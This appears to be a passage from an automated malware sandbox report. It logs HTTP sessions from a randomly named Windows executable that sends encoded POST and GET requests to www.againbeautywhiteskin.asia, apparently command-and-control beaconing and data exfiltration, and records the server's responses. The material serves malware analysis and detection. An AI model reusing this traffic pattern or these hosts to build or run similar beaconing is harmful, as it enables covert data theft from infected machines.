                                Data Raw: 39 64 3d 77 6b 78 72 55 39 6e 53 42 66 4f 4b 49 53 30 59 70 64 4d 72 77 34 70 33 2f 2f 68 53 75 46 33 62 50 4e 65 5a 48 78 45 54 59 76 6b 74 72 37 57 43 6b 6d 4a 52 67 72 31 55 6a 33 4f 2f 43 67 34 55 4f 78 48 2f 52 34 62 42 58 62 42 70 64 48 4e 36 56 6f 37 75 42 78 56 43 44 4e 51 79 41 49 37 33 71 2b 49 6c 49 56 37 67 48 53 2b 49 50 2b 4d 64 77 74 75 64 36 7a 47 43 75 63 55 47 45 70 38 63 36 7a 50 73 68 69 6e 4c 34 64 45 53 75 31 63 64 43 4e 44 77 51 77 44 47 64 4c 30 76 4d 63 63 4a 77 31 35 76 63 4a 56 70 43 57 59 59 66 7a 37 57 66 5a 4c 78 4d 63 39 47 5a 59 4b 6f 68 69 6c 4e 73 77 6e 41 2f 70 48 31 71 6e 6e 69 66 79 36 69 69 54 37 43 4f 75 58 6a 64 72 37 6e 5a 79 4e 45 56 57 50 44 71 2f 45 3d
                                Data Ascii: 9d=wkxrU9nSBfOKIS0YpdMrw4p3//hSuF3bPNeZHxETYvktr7WCkmJRgr1Uj3O/Cg4UOxH/R4bBXbBpdHN6Vo7uBxVCDNQyAI73q+IlIV7gHS+IP+Mdwtud6zGCucUGEp8c6zPshinL4dESu1cdCNDwQwDGdL0vMccJw15vcJVpCWYYfz7WfZLxMc9GZYKohilNswnA/pH1qnnify6iiT7COuXjdr7nZyNEVWPDq/E=
                                Jun 5, 2024 18:28:03.255146027 CEST1236INHTTP/1.1 200 OK
                                Server: openresty
                                Date: Wed, 05 Jun 2024 16:28:03 GMT
                                Content-Type: text/html
                                Transfer-Encoding: chunked
                                Connection: close
                                Vary: Accept-Encoding
                                Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
                                Content-Security-Policy: upgrade-insecure-requests; default-src data: 'unsafe-inline' 'unsafe-eval' https:; script-src data: 'unsafe-inline' 'unsafe-eval' https: blob: https://www.googleanalytics.com https://www.google-analytics.com https://www.googleoptimize.com https://optimize.google.com https://td.doubleclick.net https://fburl.com https://www.facebook.com https://connect.facebook.net; style-src data: 'unsafe-inline' https: https://optimize.google.com https://fonts.googleapis.com https://w.ladicdn.com https://s.ladicdn.com; img-src data: https: blob: android-webview-video-poster: https://www.google-analytics.com https://www.googletagmanager.com https://optimize.google.com https://w.ladicdn.com https://s.ladicdn.com; font-src data: https: https://fonts.gstatic.com https://w.ladicdn.com https://s.ladicdn.com; connect-src https: wss: blob:; media-src data: https: blob:; object-src https:; child-src https: data: blob:; form-action https:; frame-ancestors https://p
                                Data Raw:
                                Data Ascii:
                                Jun 5, 2024 18:28:03.255167007 CEST1236INData Raw: 70 75 70 78 2e 6c 61 64 69 2e 6d 65 20 68 74 74 70 73 3a 2f 2f 2a 2e 6c 61 64 69 2e 6d 65 20 68 74 74 70 73 3a 2f 2f 73 2e 6c 61 64 69 63 64 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 67 2e 6c 61 64 69 63 64 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f
                                Data Ascii: pupx.ladi.me https://*.ladi.me https://s.ladicdn.com https://g.ladicdn.com https://w.ladicdn.com https://*.ladicdn.com https://www.facebook.com https://*.facebook.comSet-Cookie: LADI_DNS_CHECK="2024-06-05 16:28:03.066952259 +0000 UTC m=+2016
                                Jun 5, 2024 18:28:03.255179882 CEST1236INData Raw: 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 50 41 47 45 5f 56 49 45 57 5f 50 41 54 48 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d 41 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f
                                Data Ascii: t-Cookie: LADI_CAMP_PAGE_VIEW_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_PAGE_VIEW=; Path=/3h10; Max-A
                                Jun 5, 2024 18:28:03.255191088 CEST794INData Raw: 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 50 41 47 45 5f 56 49 45 57 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d 41 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 50 41 47 45 5f 56 49 45 57 5f
                                Data Ascii: kie: LADI_CAMP_PAGE_VIEW=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_PAGE_VIEW_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT_PATH=; Path=/3h10; Max-Age=0Set-Cook
                                Jun 5, 2024 18:28:03.255280972 CEST1236INData Raw: 36 33 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 9c 57 51 6f db 36 10 fe 2b ac 86 2d 36 70 72 ec 34 f1 3a 29 ce 30 74 dd 6b 07 ac db b0 a7 80 12 29 89 35 45 2a 24 15 db 35 fc df 77 24 65 d7 76 92 22 68 12 5b e4 dd f1 78 c7 fb ee a3 72 fb e6 f7 8f ef
                                Data Ascii: 637WQo6+-6pr4:)0tk)5E*$5w$ev"h[xr?V;J"'2]\^<.lx^+gLHiU3k>;a=Ng{;E[H|`6eft=L(@zlq:mq/._F
                                Jun 5, 2024 18:28:03.255331039 CEST212INData Raw: 8b 34 83 cf 6d a7 07 f3 4a ac 11 44 e1 9d 22 a2 75 5f 47 3f c6 77 15 84 b3 e4 95 c3 c7 97 34 bc d7 79 cd f0 93 17 b4 5c 7a 98 28 96 99 ba a0 a3 29 f8 df c9 db f1 d3 1d c9 13 89 07 f8 36 6e 7c 3d 9d e2 11 b7 74 9d c6 39 c2 b6 1c f9 08 48 4a 6e 50
                                Data Ascii: 4mJD"u_G?w4y\z()6n|=t9HJnP5>D5C5ZFN7?W[}na3jn|w;4z_%if'1p5kzz3Xev90)xGbRO8c]R
                                Jun 5, 2024 18:28:03.255767107 CEST1236INData Raw: 5c c5 e2 f9 93 f2 9b c4 4d 4f 38 e1 5d f7 95 ca 82 a2 94 48 e3 d9 db 83 d0 b3 1f 5e f4 be 63 f7 04 99 9f 81 3e 0f bd 72 10 72 29 45 67 85 cd f7 7c 74 e4 ea d5 49 3d 95 96 52 5b 7e ca 71 5f 81 43 0b 84 1b be c2 0e f0 08 75 c1 7f 7e 9c 6e 63 ce fb
                                Data Ascii: \MO8]H^c>rr)Eg|tI=R[~q_Cu~ncj*r'BGkBV}kJ$D|@zZdaa]oY$"a}L}YRkFcH[)Rjp&EP/5@EQAIgnwoxGrp"~
                                Jun 5, 2024 18:28:03.255772114 CEST212INData Raw: a7 8f 22 63 aa 65 17 fc 92 1a c1 1e 7a 69 27 f7 9c d1 46 05 9e 78 17 c7 5f 3f 1f 5f 2d 1e 04 6f a5 cd 15 58 4e c7 0f 43 fd 1e d8 00 96 6b 98 01 a9 ad 37 1b aa ab 9e 02 fb 29 0c 37 90 72 b0 d8 82 6c 11 d5 27 14 1c bd c4 78 d3 f3 52 06 85 c8 1f ef
                                Data Ascii: "cezi'Fx_?_-oXNCk7)7rl'xR\SRh.}3<U0pjef(ds(;(e%rYu}L!BnmCJ#B?;]Y!='A>?>x#{m_eHSd
                                Jun 5, 2024 18:28:03.255793095 CEST1236INData Raw: a0 f4 26 a6 d2 54 f0 89 15 65 f8 c4 8b a5 db 5d bc cc 3a 5b 24 ad a0 4e 91 e4 7e 7c f0 f3 58 94 52 bd e6 96 28 5f 01 a6 b2 0e fd f1 f1 51 fe 16 8e 37 53 64 73 a1 07 f1 31 89 07 8c ee f8 92 1a d4 0b f5 6f 9d d2 dd f1 39 d9 1a 9f 4b 5a d8 e4 ef f1
                                Data Ascii: &Te]:[$N~|XR(_Q7Sds1o9KZg;+g~\r]rvQ,;zAr)K?=n+|ZCb)]Li9HvM|ONGtI[tQlHr0szCuD~~O
                                Jun 5, 2024 18:28:03.255801916 CEST212INData Raw: 99 13 c5 9e e9 d7 49 a1 9e b7 df a5 79 9d de 10 83 89 26 cc 46 17 87 75 bf c5 61 61 1a 2f c2 b8 c1 52 00 ee 91 4a 92 04 b0 52 27 13 f8 03 e0 a2 a0 67 a7 98 fb 04 e5 88 d6 ae ba ce 09 5f c9 84 22 26 6a 9b 52 c5 56 73 a7 b1 43 2b 8f 1e 3e 7f f8 db
                                Data Ascii: Iy&Fuaa/RJR'g_"&jRVsC+>>imE=n6v."h&Vh&,RD:7*##Ry[VYf0N:uSm!gDY)UJP!B0uKLh
                                Jun 5, 2024 18:28:03.260219097 CEST779INData Raw: 0d cd 4c 17 da f5 ba c4 ab ab 27 61 01 6b c0 83 64 77 0e 04 35 1e 91 fc e3 94 c7 f7 58 de 64 5c c3 87 fb dd 60 46 3a a1 37 99 1c 54 e8 28 2c 15 55 85 55 e0 3c 08 a9 aa 28 cd 38 df 2b 32 80 0d cb 8c 6c c0 90 d0 2a 3b 56 a2 61 38 18 3a 5e 2a 76 ea
                                Data Ascii: L'akdw5Xd\`F:7T(,UU<(8+2l*;Va8:^*vB]0'JjiIT5$CG^^vH\_8WI;/# n3r>Ag+9Bwpv}hqs}27^_~_;}m"


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                15192.168.2.74972513.228.81.39804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:04.740268946 CEST1774OUTPOST /3h10/ HTTP/1.1
                                Host: www.againbeautywhiteskin.asia
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.againbeautywhiteskin.asia
                                Referer: http://www.againbeautywhiteskin.asia/3h10/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 77 6b 78 72 55 39 6e 53 42 66 4f 4b 49 53 30 59 70 64 4d 72 77 34 70 33 2f 2f 68 53 75 46 33 62 50 4e 65 5a 48 78 45 54 59 76 73 74 6f 49 65 43 6b 42 39 52 68 72 31 55 39 48 4f 45 43 67 35 4f 4f 77 76 67 52 34 65 32 58 5a 4a 70 64 68 35 36 45 70 37 75 49 78 56 43 4d 74 51 7a 4f 6f 36 31 71 2b 59 68 49 56 72 67 48 53 2b 49 50 39 45 64 33 2f 57 64 33 54 47 42 6d 38 55 4b 50 4a 39 44 36 79 6d 58 68 69 53 30 34 74 6b 53 76 52 77 64 4f 66 62 77 66 77 44 45 51 72 31 70 4d 63 51 6f 77 31 31 46 63 4e 56 51 43 52 63 59 63 56 48 4f 4c 61 2f 78 65 65 56 74 65 2f 2b 56 33 77 74 2f 30 52 6e 63 38 59 66 54 72 33 44 69 62 7a 65 58 72 6e 6d 69 56 64 36 52 47 59 72 70 5a 33 45 53 50 56 48 47 78 6f 41 6b 4c 65 65 61 47 71 36 54 50 63 36 63 4f 4a 37 39 59 53 61 2b 63 63 75 6b 41 36 61 74 6d 4d 43 6e 45 7a 66 69 34 61 6b 78 4a 46 65 56 57 39 30 35 51 34 72 68 4b 6b 79 70 4a 73 53 46 4d 66 52 52 74 68 48 6e 66 6f 4d 4c 41 47 66 77 69 37 4d 63 2f 55 73 68 4c 63 63 43 4c 6b 58 73 59 41 77 6b 5a 6c 77 52 54 43 56 [TRUNCATED]
                                Data Ascii: 9d=wkxrU9nSBfOKIS0YpdMrw4p3//hSuF3bPNeZHxETYvstoIeCkB9Rhr1U9HOECg5OOwvgR4e2XZJpdh56Ep7uIxVCMtQzOo61q+YhIVrgHS+IP9Ed3/Wd3TGBm8UKPJ9D6ymXhiS04tkSvRwdOfbwfwDEQr1pMcQow11FcNVQCRcYcVHOLa/xeeVte/+V3wt/0Rnc8YfTr3DibzeXrnmiVd6RGYrpZ3ESPVHGxoAkLeeaGq6TPc6cOJ79YSa+ccukA6atmMCnEzfi4akxJFeVW905Q4rhKkypJsSFMfRRthHnfoMLAGfwi7Mc/UshLccCLkXsYAwkZlwRTCVvFi1KwNQ8g4k8hLsKZaAX5t/VLgyZf8Ihs/7P1QFtEefbF8Cc69pUsN+/a/A1S3qAULyQM15UeYIsJEUAlOXypjHKYL4+R44wIijhbQWAsMU9S6aRCbbzBhItcB8f/kwNiWFA11+jj11ow+bd12ShyP/NHDBUDaywnxKJrQJf/FXr8fr2nxqxLGavuHsLhKxrrmXoHUWy1ynXndKYXD8rILm0HVh1PPFDPx5xZegcZ1T+aquSiRPSaLs4bLA7CFrFbEgOnNVMhZ4nwOHoJg7/5+IZTa97aUHzFDE6yAssc8+jZUvspGYBB9bSeaN6ExOEzVYgCW3EnwU6FREq+Y3glg32wMnlENyiZ01d2rkPJjnB1fLjHSmxb2EcRMvxb/AFSz4UIIebp84D0TOHIq0g/C87Fo15Jn9tGKTK1XBQ7wEdUNyJn/lzgs3dJRaesBJJK+FkwF97n6DsLIk96HTarGpsivuHKnWKkaC+xVVRW+EcuBbCZYnnGrmeXWZrAOrY2JquzLs/zP40nkGqQ4pJBBHXjg4bEb+TSVu/ubWAlFsMT5eR2NWQvj/7JwkFyAQ0BskEoNdXpvqIKVgU/sh7p8cEus4z88qwwPoyPCsJ2oWH9hdLxVyqMSweAG+6JHttUbhdNx9u9t69Mn25kYl8foP5b/M0Hff/g [TRUNCATED]
                                Jun 5, 2024 18:28:05.763338089 CEST1236INHTTP/1.1 200 OK
                                Server: openresty
                                Date: Wed, 05 Jun 2024 16:28:05 GMT
                                Content-Type: text/html
                                Transfer-Encoding: chunked
                                Connection: close
                                Vary: Accept-Encoding
                                Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
                                Content-Security-Policy: upgrade-insecure-requests; default-src data: 'unsafe-inline' 'unsafe-eval' https:; script-src data: 'unsafe-inline' 'unsafe-eval' https: blob: https://www.googleanalytics.com https://www.google-analytics.com https://www.googleoptimize.com https://optimize.google.com https://td.doubleclick.net https://fburl.com https://www.facebook.com https://connect.facebook.net; style-src data: 'unsafe-inline' https: https://optimize.google.com https://fonts.googleapis.com https://w.ladicdn.com https://s.ladicdn.com; img-src data: https: blob: android-webview-video-poster: https://www.google-analytics.com https://www.googletagmanager.com https://optimize.google.com https://w.ladicdn.com https://s.ladicdn.com; font-src data: https: https://fonts.gstatic.com https://w.ladicdn.com https://s.ladicdn.com; connect-src https: wss: blob:; media-src data: https: blob:; object-src https:; child-src https: data: blob:; form-action https:; frame-ancestors https://p
                                Data Raw:
                                Data Ascii:
                                Jun 5, 2024 18:28:05.763436079 CEST1236INData Raw: 70 75 70 78 2e 6c 61 64 69 2e 6d 65 20 68 74 74 70 73 3a 2f 2f 2a 2e 6c 61 64 69 2e 6d 65 20 68 74 74 70 73 3a 2f 2f 73 2e 6c 61 64 69 63 64 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 67 2e 6c 61 64 69 63 64 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f
                                Data Ascii: pupx.ladi.me https://*.ladi.me https://s.ladicdn.com https://g.ladicdn.com https://w.ladicdn.com https://*.ladicdn.com https://www.facebook.com https://*.facebook.comSet-Cookie: LADI_DNS_CHECK="2024-06-05 16:28:05.575483656 +0000 UTC m=+2016
                                Jun 5, 2024 18:28:05.763447046 CEST1236INData Raw: 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 50 41 47 45 5f 56 49 45 57 5f 50 41 54 48 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d 41 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f
                                Data Ascii: t-Cookie: LADI_CAMP_PAGE_VIEW_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_PAGE_VIEW=; Path=/3h10; Max-A
                                Jun 5, 2024 18:28:05.763458014 CEST794INData Raw: 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 50 41 47 45 5f 56 49 45 57 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d 41 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 50 41 47 45 5f 56 49 45 57 5f
                                Data Ascii: kie: LADI_CAMP_PAGE_VIEW=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_PAGE_VIEW_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT_PATH=; Path=/3h10; Max-Age=0Set-Cook
                                Jun 5, 2024 18:28:05.763745070 CEST1236INData Raw: 31 34 30 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 3c db 8e db 48 76 bf 52 d6 62 a6 25 b8 a8 96 ba 5b 7d 91 5a 3d f1 38 4e 76 80 c1 8e 31 e3 d9 ec c2 70 8c 12 59 92 38 4d 91 34 49 f5 c5 da 7e 08 f2 98 87 60 9f f3 92 c1 60 10 20 40 80 20 c8 d3 fa
                                Data Ascii: 140c<HvRb%[}Z=8Nv1pY8M4I~`` @ SU$d-YS^.</~'Tsv#E1Oo_u:;Mg](${1n=e[O?Elx>xi;-u/67E$H
                                Jun 5, 2024 18:28:05.763753891 CEST212INData Raw: 1c ee ec 8c d2 47 01 4b 88 7d a5 d8 6a 43 4c c2 c2 98 0f d3 07 25 41 0b f4 c7 16 22 95 44 69 42 3c 0c 41 12 8b d8 12 74 61 91 c5 9c ef 96 b1 84 2e 05 50 53 15 d4 55 28 b9 1a 6b 6f ba 01 68 c9 14 22 27 6b ee 3a 0e f7 57 e9 fb 50 be df 08 47 69 25
                                Data Ascii: GK}jCL%A"DiB<Ata.PSU(koh"'k:WPGi%83W%)^|9Vkn~WaO+P"SHmM:{|[KuXM}j;h6aRz;FEP:uHqp-
                                Jun 5, 2024 18:28:05.763792992 CEST1236INData Raw: 94 76 10 0d 7f 31 9d 4e 47 25 92 91 36 31 ce 40 0c d3 1f 0c 70 1c 45 6b 24 46 eb 8d 94 bd b3 65 12 a4 6a 12 01 19 cb 18 b8 10 5e ad 4b 25 99 f7 57 15 9c 04 ce 87 74 af 4f 0f 00 eb de a0 33 52 b8 22 63 53 f7 d2 df 03 1a fb 80 99 f4 29 97 92 0b 87
                                Data Ascii: v1NG%61@pEk$Fej^K%WtO3R"cS)9XbQc"!fI!p9h'+n|-6ud0vQ4PkU- E+AC?I4H6OZ~}U|qr.!lpBNr>/)
                                Jun 5, 2024 18:28:05.763860941 CEST1236INData Raw: 68 5c d9 4f a5 17 9d b4 72 96 24 cc 9e a3 ca 98 6a e5 05 bf ac 26 65 8f b8 b4 d3 78 ce 58 47 05 9e 78 af 8f 7f f9 7c fc 7e f1 20 78 2b 6d 55 80 65 d9 dc f3 ca f7 c0 16 60 ae 5e 05 64 c9 de ea 50 bd 6f 11 d4 9f c2 a8 09 52 df 2c ae 41 76 1d d7 97
                                Data Ascii: h\Or$j&exXGx|~ x+mUe`^dPoR,Av:8qCK%$r@kbt]S^ZjYJJa%xG5aSF>&C=|u]I<$X^y !z^??_<Wyju%NZVaV\`T,4M$*|R
                                Jun 5, 2024 18:28:05.763864040 CEST1236INData Raw: cc a5 d1 3d 6c 0e a4 25 31 a4 c0 3f 19 17 bb 8b d9 4a bb 01 58 d8 36 e8 ef e7 89 42 d2 e4 11 d9 ea 62 b0 9f 3b 57 f1 5c 1f 89 9a 46 17 49 d9 f4 f4 21 1a b8 3e de 33 2e 67 fa d0 4f b7 8f 7a bd 5c c7 31 05 c5 70 02 2b c9 73 0b d3 17 d6 a5 04 b9 9c
                                Data Ascii: =l%1?JX6Bb;W\FI!>3.gOz\1p+sEtNT5AS5@cUG1/,n=V$F=}^i,`XA#jfUN0S9OVX)lU2W~4c{!dv*:9
                                Jun 5, 2024 18:28:05.763870955 CEST4INData Raw: 0d 0a 0d 0a
                                Data Ascii:


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                16192.168.2.74972613.228.81.39804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:07.274287939 CEST460OUTGET /3h10/?9d=9mZLXJL8GvO5ODxbtOpJ+rtZ6f1lqm3xC+OCFBImS8kNzrmbjyRfioF27F6qemRmHzSdXM7CT4wlEWpleIDtGTZ1FuoRBIGpq98dFU7vfHeXH9gl+ce92Dv1nZMBIpBNzTq2jDHLjtUw&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1
                                Host: www.againbeautywhiteskin.asia
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:28:08.337946892 CEST1236INHTTP/1.1 200 OK
                                Server: openresty
                                Date: Wed, 05 Jun 2024 16:28:08 GMT
                                Content-Type: text/html
                                Transfer-Encoding: chunked
                                Connection: close
                                Vary: Accept-Encoding
                                Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
                                Content-Security-Policy: upgrade-insecure-requests; default-src data: 'unsafe-inline' 'unsafe-eval' https:; script-src data: 'unsafe-inline' 'unsafe-eval' https: blob: https://www.googleanalytics.com https://www.google-analytics.com https://www.googleoptimize.com https://optimize.google.com https://td.doubleclick.net https://fburl.com https://www.facebook.com https://connect.facebook.net; style-src data: 'unsafe-inline' https: https://optimize.google.com https://fonts.googleapis.com https://w.ladicdn.com https://s.ladicdn.com; img-src data: https: blob: android-webview-video-poster: https://www.google-analytics.com https://www.googletagmanager.com https://optimize.google.com https://w.ladicdn.com https://s.ladicdn.com; font-src data: https: https://fonts.gstatic.com https://w.ladicdn.com https://s.ladicdn.com; connect-src https: wss: blob:; media-src data: https: blob:; object-src https:; child-src https: data: blob:; form-action https:; frame-ancestors https://p
                                Data Raw:
                                Data Ascii:
                                Jun 5, 2024 18:28:08.337981939 CEST1236INData Raw: 70 75 70 78 2e 6c 61 64 69 2e 6d 65 20 68 74 74 70 73 3a 2f 2f 2a 2e 6c 61 64 69 2e 6d 65 20 68 74 74 70 73 3a 2f 2f 73 2e 6c 61 64 69 63 64 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 67 2e 6c 61 64 69 63 64 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f
                                Data Ascii: pupx.ladi.me https://*.ladi.me https://s.ladicdn.com https://g.ladicdn.com https://w.ladicdn.com https://*.ladicdn.com https://www.facebook.com https://*.facebook.comSet-Cookie: LADI_DNS_CHECK="2024-06-05 16:28:08.148780089 +0000 UTC m=+2016
                                Jun 5, 2024 18:28:08.338010073 CEST424INData Raw: 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 50 41 47 45 5f 56 49 45 57 5f 50 41 54 48 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d 41 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f
                                Data Ascii: t-Cookie: LADI_CAMP_PAGE_VIEW_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_FORM_SUBMIT_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_PAGE_VIEW=; Path=/3h10; Max-A
                                Jun 5, 2024 18:28:08.338021040 CEST1236INData Raw: 42 4d 49 54 5f 50 41 54 48 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d 41 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 43 4f 4e 46 49 47 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d
                                Data Ascii: BMIT_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_CONFIG=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_END_DATE=; Path=/3h10; Max-Age=0Set-Cookie: LADI_FUNNEL_NEXT_URL=; Path=/3h10; Max-Age=0Set-Cookie: LADI_FUNNEL_PREV_URL=; Path=
                                Jun 5, 2024 18:28:08.338032007 CEST1236INData Raw: 31 30 3b 20 4d 61 78 2d 41 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 42 45 48 41 56 49 4f 52 5f 46 4f 52 4d 53 55 42 4d 49 54 5f 50 41 54 48 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d 41 67
                                Data Ascii: 10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_FORMSUBMIT_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_CONFIG=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_END_DATE=; Path=/3h10; Max-Age=0Statuscode: 502Strict-Transport-Security: ma
                                Jun 5, 2024 18:28:08.338042974 CEST424INData Raw: 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 20 2f
                                Data Ascii: a property="og:title" content="404" /><meta property="og:type" content="website" /><meta property="og:description" content="404" /><meta name="format-detection" content="telephone=no" /><link rel="dns-prefetch"><link rel="preconnect" href="htt
                                Jun 5, 2024 18:28:08.338056087 CEST1236INData Raw: 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 2e 6c 61 64 69 70 61 67 65 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61
                                Data Ascii: ink rel="preconnect" href="https://la.ladipage.com/" crossorigin><link rel="preload" href="https://fonts.googleapis.com/css?family=Open Sans:bold,regular&display=swap" as="style" onload="this.onload = null;this.rel = 'stylesheet';"><style id="
                                Jun 5, 2024 18:28:08.338069916 CEST1236INData Raw: 74 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 6e 6f 6e 65 3b 2d 6f 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73
                                Data Ascii: t:none;-moz-text-size-adjust:none;-o-text-size-adjust:none;-webkit-text-size-adjust:none}.overflow-hidden{overflow:hidden}.ladi-transition{transition:all 150ms linear 0s}.ladipage-message{position:fixed;width:100%;height:100%;top:0;left:0;z-in
                                Jun 5, 2024 18:28:08.338080883 CEST424INData Raw: 74 3a 36 30 30 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 6c 61 64 69 2d 77 72 61 70 65 72 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 2e 6c 61 64 69 2d 73 65 63
                                Data Ascii: t:600;cursor:pointer}.ladi-wraper{width:100%;height:100%;overflow:hidden}.ladi-section{margin:0 auto;position:relative}.ladi-section .ladi-section-arrow-down{position:absolute;width:36px;height:30px;bottom:0;right:0;left:0;margin:auto;backgrou
                                Jun 5, 2024 18:28:08.338093996 CEST1236INData Raw: 6c 69 6e 65 61 72 20 30 73 7d 2e 6c 61 64 69 2d 73 65 63 74 69 6f 6e 20 2e 6c 61 64 69 2d 73 65 63 74 69 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 63 6f 6e 74 65 6e 74 3a 27 27 3b 64 69 73 70
